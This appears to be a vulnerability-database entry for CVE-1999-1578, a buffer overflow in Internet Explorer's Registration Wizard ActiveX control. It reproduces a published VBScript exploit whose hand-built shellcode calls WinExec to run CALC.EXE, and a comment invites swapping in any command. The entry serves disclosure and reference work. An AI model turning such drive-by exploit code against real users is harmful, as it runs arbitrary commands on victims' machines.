CVE-1999-1578 : Detail

CVE-1999-1578

24.95%V4
Network
2005-04-21
02h00 +00:00
2024-08-01
17h18 +00:00
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CVE Descriptions

Buffer overflow in Registration Wizard ActiveX control (regwizc.dll, InvokeRegWizard) 3.0.0.0 for Internet Explorer 4.01 and 5 allows remote attackers to execute arbitrary commands.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 5.1 AV:N/AC:H/Au:N/C:P/I:P/A:P nvd@nist.gov

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Exploit information

Exploit Database EDB-ID : 19528

Publication date : 1999-09-26 22h00 +00:00
Author : Shane Hird
EDB Verified : Yes

Microsoft Internet Explorer 4.1/5.0 for Windows 95/Windows NT 4,Windows 98 Registration Wizard Buffer Overflow Vulnerability source: https://www.securityfocus.com/bid/671/info There is a buffer overflow in the Internet Explorer Registration Wizard control (regwizc.dll). This control is marked 'Safe for Scripting' . Arbitrary commands may be executed if the control is run in a malicious manner. REGWIZC The Registration Wizard control used by Microsoft to register MS products also contains a buffer overrun in the 'InvokeRegWizard' method. When called with a long string, pre-pended with '/i', we can gain control of the RET address and exploit the control in a similar manner as the PDF control. This exploit will cause a 'Regwiz.log' file to be created in the temporary directory, and once again will execute CALC.EXE and terminate the host. <object classid="clsid:50E5E3D1-C07E-11D0-B9FD- 00A0249F6B00" id="RegWizObj"> </object> <script language="VbScript" ><!-- msgbox("Registration Wizard Buffer Overrun" + Chr(10) + "Written by Shane Hird") expstr = "/i AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" 'We overflowed to the RET point of the stack 'No NULL's allowed so ret to <JMP ESP> in Shell32 expstr = expstr & Chr(235) 'Address in SHELL32, Win98 (7FD035EB) of JMP ESP expstr = expstr & Chr(53) 'You may need to use a different address expstr = expstr & Chr(208) expstr = expstr & Chr(127) 'NOP for debugging purposes expstr = expstr + Chr(144) 'MOV EDI, ESP expstr = expstr + Chr(139) + Chr(252) 'ADD EDI, 19 (Size of code) expstr = expstr + Chr(131) + Chr(199) + Chr(25) 'PUSH EAX (Window Style EAX = 41414141) expstr = expstr + Chr(80) 'PUSH EDI (Address of command line) expstr = expstr + Chr(87) 'MOV EDX, BFFA0960 (WinExec, Win98) expstr = expstr + Chr(186) + Chr(96) + Chr(9) + Chr(250) + Chr(191) 'CALL EDX expstr = expstr + Chr(255) + Chr(210) 'XOR EAX, EAX expstr = expstr + Chr(51) + Chr(192) 'PUSH EAX expstr = expstr + Chr(80) 'MOV EDX, BFF8D4CA (ExitProcess, Win98) expstr = expstr + Chr(186) + Chr(202) + Chr(212) + Chr(248) + Chr(191) 'CALL EDX expstr = expstr + Chr(255) + Chr(210) 'Replace with any command + 0 (automatically appended) expstr = expstr + "CALC.EXE" RegWizObj.InvokeRegWizard(expstr) --></script>

Products Mentioned

Configuraton 0

Microsoft>>Internet_explorer >> Version 4.0.1

Microsoft>>Internet_explorer >> Version 5.0

References

http://www.kb.cert.org/vuls/id/37556
Tags : third-party-advisory, x_refsource_CERT-VN
http://www.securityfocus.com/bid/671
Tags : vdb-entry, x_refsource_BID
http://www.securityfocus.com/archive/1/28719
Tags : mailing-list, x_refsource_BUGTRAQ